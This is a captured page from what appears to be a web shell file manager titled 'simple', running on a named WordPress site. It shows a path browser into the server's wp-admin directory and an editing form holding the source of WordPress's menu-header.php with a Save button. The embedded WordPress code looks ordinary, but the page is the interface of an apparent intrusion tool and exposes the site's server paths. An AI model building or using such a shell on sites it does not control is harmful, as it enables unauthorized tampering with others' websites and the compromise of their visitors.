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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2F'>www.daderdo.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/</p><hr><h3>✏️ Editing: menu-header.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Displays Administration Menu.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don&#039;t load directly.
if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

/**
 * The current page.
 *
 * @global string $self
 */
$self = preg_replace( &#039;|^.*/wp-admin/network/|i&#039;, &#039;&#039;, $_SERVER[&#039;PHP_SELF&#039;] );
$self = preg_replace( &#039;|^.*/wp-admin/|i&#039;, &#039;&#039;, $self );
$self = preg_replace( &#039;|^.*/plugins/|i&#039;, &#039;&#039;, $self );
$self = preg_replace( &#039;|^.*/mu-plugins/|i&#039;, &#039;&#039;, $self );

/**
 * For when admin-header is included from within a function.
 *
 * @global array  $menu
 * @global array  $submenu
 * @global string $parent_file
 * @global string $submenu_file
 */
global $menu, $submenu, $parent_file, $submenu_file;

/**
 * Filters the parent file of an admin menu sub-menu item.
 *
 * Allows plugins to move sub-menu items around.
 *
 * @since MU (3.0.0)
 *
 * @param string $parent_file The parent file.
 */
$parent_file = apply_filters( &#039;parent_file&#039;, $parent_file );

/**
 * Filters the file of an admin menu sub-menu item.
 *
 * @since 4.4.0
 *
 * @param string $submenu_file The submenu file.
 * @param string $parent_file  The submenu item&#039;s parent file.
 */
$submenu_file = apply_filters( &#039;submenu_file&#039;, $submenu_file, $parent_file );

get_admin_page_parent();

/**
 * Display menu.
 *
 * @access private
 * @since 2.7.0
 *
 * @global string $self
 * @global string $parent_file
 * @global string $submenu_file
 * @global string $plugin_page
 * @global string $typenow      The post type of the current screen.
 *
 * @param array $menu
 * @param array $submenu
 * @param bool  $submenu_as_parent
 */
function _wp_menu_output( $menu, $submenu, $submenu_as_parent = true ) {
	global $self, $parent_file, $submenu_file, $plugin_page, $typenow;

	$first = true;
	// 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes, 5 = hookname, 6 = icon_url.
	foreach ( $menu as $key =&gt; $item ) {
		$admin_is_parent = false;
		$class           = array();
		$aria_attributes = &#039;&#039;;
		$aria_hidden     = &#039;&#039;;
		$is_separator    = false;

		if ( $first ) {
			$class[] = &#039;wp-first-item&#039;;
			$first   = false;
		}

		$submenu_items = array();
		if ( ! empty( $submenu[ $item[2] ] ) ) {
			$class[]       = &#039;wp-has-submenu&#039;;
			$submenu_items = $submenu[ $item[2] ];
		}

		if ( ( $parent_file &amp;&amp; $item[2] === $parent_file ) || ( empty( $typenow ) &amp;&amp; $self === $item[2] ) ) {
			if ( ! empty( $submenu_items ) ) {
				$class[] = &#039;wp-has-current-submenu wp-menu-open&#039;;
			} else {
				$class[]          = &#039;current&#039;;
				$aria_attributes .= &#039;aria-current=&quot;page&quot;&#039;;
			}
		} else {
			$class[] = &#039;wp-not-current-submenu&#039;;
			if ( ! empty( $submenu_items ) ) {
				$aria_attributes .= &#039;data-ariahaspopup&#039;;
			}
		}

		if ( ! empty( $item[4] ) ) {
			$class[] = esc_attr( $item[4] );
		}

		$class     = $class ? &#039; class=&quot;&#039; . implode( &#039; &#039;, $class ) . &#039;&quot;&#039; : &#039;&#039;;
		$id        = ! empty( $item[5] ) ? &#039; id=&quot;&#039; . preg_replace( &#039;|[^a-zA-Z0-9_:.]|&#039;, &#039;-&#039;, $item[5] ) . &#039;&quot;&#039; : &#039;&#039;;
		$img       = &#039;&#039;;
		$img_style = &#039;&#039;;
		$img_class = &#039; dashicons-before&#039;;

		if ( str_contains( $class, &#039;wp-menu-separator&#039; ) ) {
			$is_separator = true;
		}

		/*
		 * If the string &#039;none&#039; (previously &#039;div&#039;) is passed instead of a URL, don&#039;t output
		 * the default menu image so an icon can be added to div.wp-menu-image as background
		 * with CSS. Dashicons and base64-encoded data:image/svg_xml URIs are also handled
		 * as special cases.
		 */
		if ( ! empty( $item[6] ) ) {
			$img = &#039;&lt;img src=&quot;&#039; . esc_url( $item[6] ) . &#039;&quot; alt=&quot;&quot; /&gt;&#039;;

			if ( &#039;none&#039; === $item[6] || &#039;div&#039; === $item[6] ) {
				$img = &#039;&lt;br /&gt;&#039;;
			} elseif ( str_starts_with( $item[6], &#039;data:image/svg+xml;base64,&#039; ) ) {
				$img = &#039;&lt;br /&gt;&#039;;
				// The value is base64-encoded data, so esc_attr() is used here instead of esc_url().
				$img_style = &#039; style=&quot;background-image:url(\&#039;&#039; . esc_attr( $item[6] ) . &#039;\&#039;)&quot;&#039;;
				$img_class = &#039; svg&#039;;
			} elseif ( str_starts_with( $item[6], &#039;dashicons-&#039; ) ) {
				$img       = &#039;&lt;br /&gt;&#039;;
				$img_class = &#039; dashicons-before &#039; . sanitize_html_class( $item[6] );
			}
		}

		$title = wptexturize( $item[0] );

		// Hide separators from screen readers.
		if ( $is_separator ) {
			$aria_hidden = &#039; aria-hidden=&quot;true&quot;&#039;;
		}

		echo &quot;\n\t&lt;li$class$id$aria_hidden&gt;&quot;;

		if ( $is_separator ) {
			echo &#039;&lt;div class=&quot;separator&quot;&gt;&lt;/div&gt;&#039;;
		} elseif ( $submenu_as_parent &amp;&amp; ! empty( $submenu_items ) ) {
			$submenu_items = array_values( $submenu_items );  // Re-index.
			$menu_hook     = get_plugin_page_hook( $submenu_items[0][2], $item[2] );
			$menu_file     = $submenu_items[0][2];
			$pos           = strpos( $menu_file, &#039;?&#039; );

			if ( false !== $pos ) {
				$menu_file = substr( $menu_file, 0, $pos );
			}

			if ( ! empty( $menu_hook )
				|| ( ( &#039;index.php&#039; !== $submenu_items[0][2] )
					&amp;&amp; file_exists( WP_PLUGIN_DIR . &quot;/$menu_file&quot; )
					&amp;&amp; ! file_exists( ABSPATH . &quot;/wp-admin/$menu_file&quot; ) )
			) {
				$admin_is_parent = true;
				echo &quot;&lt;a href=&#039;admin.php?page={$submenu_items[0][2]}&#039;$class $aria_attributes&gt;&lt;div class=&#039;wp-menu-image$img_class&#039;$img_style aria-hidden=&#039;true&#039;&gt;$img&lt;/div&gt;&lt;div class=&#039;wp-menu-name&#039;&gt;$title&lt;/div&gt;&lt;/a&gt;&quot;;
			} else {
				echo &quot;\n\t&lt;a href=&#039;{$submenu_items[0][2]}&#039;$class $aria_attributes&gt;&lt;div class=&#039;wp-menu-image$img_class&#039;$img_style aria-hidden=&#039;true&#039;&gt;$img&lt;/div&gt;&lt;div class=&#039;wp-menu-name&#039;&gt;$title&lt;/div&gt;&lt;/a&gt;&quot;;
			}
		} elseif ( ! empty( $item[2] ) &amp;&amp; current_user_can( $item[1] ) ) {
			$menu_hook = get_plugin_page_hook( $item[2], &#039;admin.php&#039; );
			$menu_file = $item[2];
			$pos       = strpos( $menu_file, &#039;?&#039; );

			if ( false !== $pos ) {
				$menu_file = substr( $menu_file, 0, $pos );
			}

			if ( ! empty( $menu_hook )
				|| ( ( &#039;index.php&#039; !== $item[2] )
					&amp;&amp; file_exists( WP_PLUGIN_DIR . &quot;/$menu_file&quot; )
					&amp;&amp; ! file_exists( ABSPATH . &quot;/wp-admin/$menu_file&quot; ) )
			) {
				$admin_is_parent = true;
				echo &quot;\n\t&lt;a href=&#039;admin.php?page={$item[2]}&#039;$class $aria_attributes&gt;&lt;div class=&#039;wp-menu-image$img_class&#039;$img_style aria-hidden=&#039;true&#039;&gt;$img&lt;/div&gt;&lt;div class=&#039;wp-menu-name&#039;&gt;{$item[0]}&lt;/div&gt;&lt;/a&gt;&quot;;
			} else {
				echo &quot;\n\t&lt;a href=&#039;{$item[2]}&#039;$class $aria_attributes&gt;&lt;div class=&#039;wp-menu-image$img_class&#039;$img_style aria-hidden=&#039;true&#039;&gt;$img&lt;/div&gt;&lt;div class=&#039;wp-menu-name&#039;&gt;{$item[0]}&lt;/div&gt;&lt;/a&gt;&quot;;
			}
		}

		if ( ! empty( $submenu_items ) ) {
			echo &quot;\n\t&lt;ul class=&#039;wp-submenu wp-submenu-wrap&#039;&gt;&quot;;
			echo &quot;&lt;li class=&#039;wp-submenu-head&#039; aria-hidden=&#039;true&#039;&gt;{$item[0]}&lt;/li&gt;&quot;;

			$first = true;

			// 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes.
			foreach ( $submenu_items as $sub_key =&gt; $sub_item ) {
				if ( ! current_user_can( $sub_item[1] ) ) {
					continue;
				}

				$class           = array();
				$aria_attributes = &#039;&#039;;

				if ( $first ) {
					$class[] = &#039;wp-first-item&#039;;
					$first   = false;
				}

				$menu_file = $item[2];
				$pos       = strpos( $menu_file, &#039;?&#039; );

				if ( false !== $pos ) {
					$menu_file = substr( $menu_file, 0, $pos );
				}

				// Handle current for post_type=post|page|foo pages, which won&#039;t match $self.
				$self_type = ! empty( $typenow ) ? $self . &#039;?post_type=&#039; . $typenow : &#039;nothing&#039;;

				if ( isset( $submenu_file ) ) {
					if ( $submenu_file === $sub_item[2] ) {
						$class[]          = &#039;current&#039;;
						$aria_attributes .= &#039; aria-current=&quot;page&quot;&#039;;
					}
					/*
					 * If plugin_page is set the parent must either match the current page or not physically exist.
					 * This allows plugin pages with the same hook to exist under different parents.
					 */
				} elseif (
					( ! isset( $plugin_page ) &amp;&amp; $self === $sub_item[2] )
					|| ( isset( $plugin_page ) &amp;&amp; $plugin_page === $sub_item[2]
						&amp;&amp; ( $item[2] === $self_type || $item[2] === $self || file_exists( $menu_file ) === false ) )
				) {
					$class[]          = &#039;current&#039;;
					$aria_attributes .= &#039; aria-current=&quot;page&quot;&#039;;
				}

				if ( ! empty( $sub_item[4] ) ) {
					$class[] = esc_attr( $sub_item[4] );
				}

				$class = $class ? &#039; class=&quot;&#039; . implode( &#039; &#039;, $class ) . &#039;&quot;&#039; : &#039;&#039;;

				$menu_hook = get_plugin_page_hook( $sub_item[2], $item[2] );
				$sub_file  = $sub_item[2];
				$pos       = strpos( $sub_file, &#039;?&#039; );
				if ( false !== $pos ) {
					$sub_file = substr( $sub_file, 0, $pos );
				}

				$title = wptexturize( $sub_item[0] );

				if ( ! empty( $menu_hook )
					|| ( ( &#039;index.php&#039; !== $sub_item[2] )
						&amp;&amp; file_exists( WP_PLUGIN_DIR . &quot;/$sub_file&quot; )
						&amp;&amp; ! file_exists( ABSPATH . &quot;/wp-admin/$sub_file&quot; ) )
				) {
					// If admin.php is the current page or if the parent exists as a file in the plugins or admin directory.
					if ( ( ! $admin_is_parent &amp;&amp; file_exists( WP_PLUGIN_DIR . &quot;/$menu_file&quot; ) &amp;&amp; ! is_dir( WP_PLUGIN_DIR . &quot;/{$item[2]}&quot; ) ) || file_exists( $menu_file ) ) {
						$sub_item_url = add_query_arg( array( &#039;page&#039; =&gt; $sub_item[2] ), $item[2] );
					} else {
						$sub_item_url = add_query_arg( array( &#039;page&#039; =&gt; $sub_item[2] ), &#039;admin.php&#039; );
					}

					$sub_item_url = esc_url( $sub_item_url );
					echo &quot;&lt;li$class&gt;&lt;a href=&#039;$sub_item_url&#039;$class$aria_attributes&gt;$title&lt;/a&gt;&lt;/li&gt;&quot;;
				} else {
					echo &quot;&lt;li$class&gt;&lt;a href=&#039;{$sub_item[2]}&#039;$class$aria_attributes&gt;$title&lt;/a&gt;&lt;/li&gt;&quot;;
				}
			}
			echo &#039;&lt;/ul&gt;&#039;;
		}
		echo &#039;&lt;/li&gt;&#039;;
	}

	echo &#039;&lt;li id=&quot;collapse-menu&quot; class=&quot;hide-if-no-js&quot;&gt;&#039; .
		&#039;&lt;button type=&quot;button&quot; id=&quot;collapse-button&quot; aria-label=&quot;&#039; . esc_attr__( &#039;Collapse Main Menu&#039; ) . &#039;&quot; aria-expanded=&quot;true&quot;&gt;&#039; .
		&#039;&lt;span class=&quot;collapse-button-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&#039; .
		&#039;&lt;span class=&quot;collapse-button-label&quot;&gt;&#039; . __( &#039;Collapse Menu&#039; ) . &#039;&lt;/span&gt;&#039; .
		&#039;&lt;/button&gt;&lt;/li&gt;&#039;;
}

?&gt;

&lt;div id=&quot;adminmenumain&quot; role=&quot;navigation&quot; aria-label=&quot;&lt;?php esc_attr_e( &#039;Main menu&#039; ); ?&gt;&quot;&gt;
&lt;a href=&quot;#wpbody-content&quot; class=&quot;screen-reader-shortcut&quot;&gt;&lt;?php _e( &#039;Skip to main content&#039; ); ?&gt;&lt;/a&gt;
&lt;a href=&quot;#wp-toolbar&quot; class=&quot;screen-reader-shortcut&quot;&gt;&lt;?php _e( &#039;Skip to toolbar&#039; ); ?&gt;&lt;/a&gt;
&lt;div id=&quot;adminmenuback&quot;&gt;&lt;/div&gt;
&lt;div id=&quot;adminmenuwrap&quot;&gt;
&lt;ul id=&quot;adminmenu&quot;&gt;

&lt;?php

_wp_menu_output( $menu, $submenu );
/**
 * Fires after the admin menu has been output.
 *
 * @since 2.5.0
 */
do_action( &#039;adminmenu&#039; );

?&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
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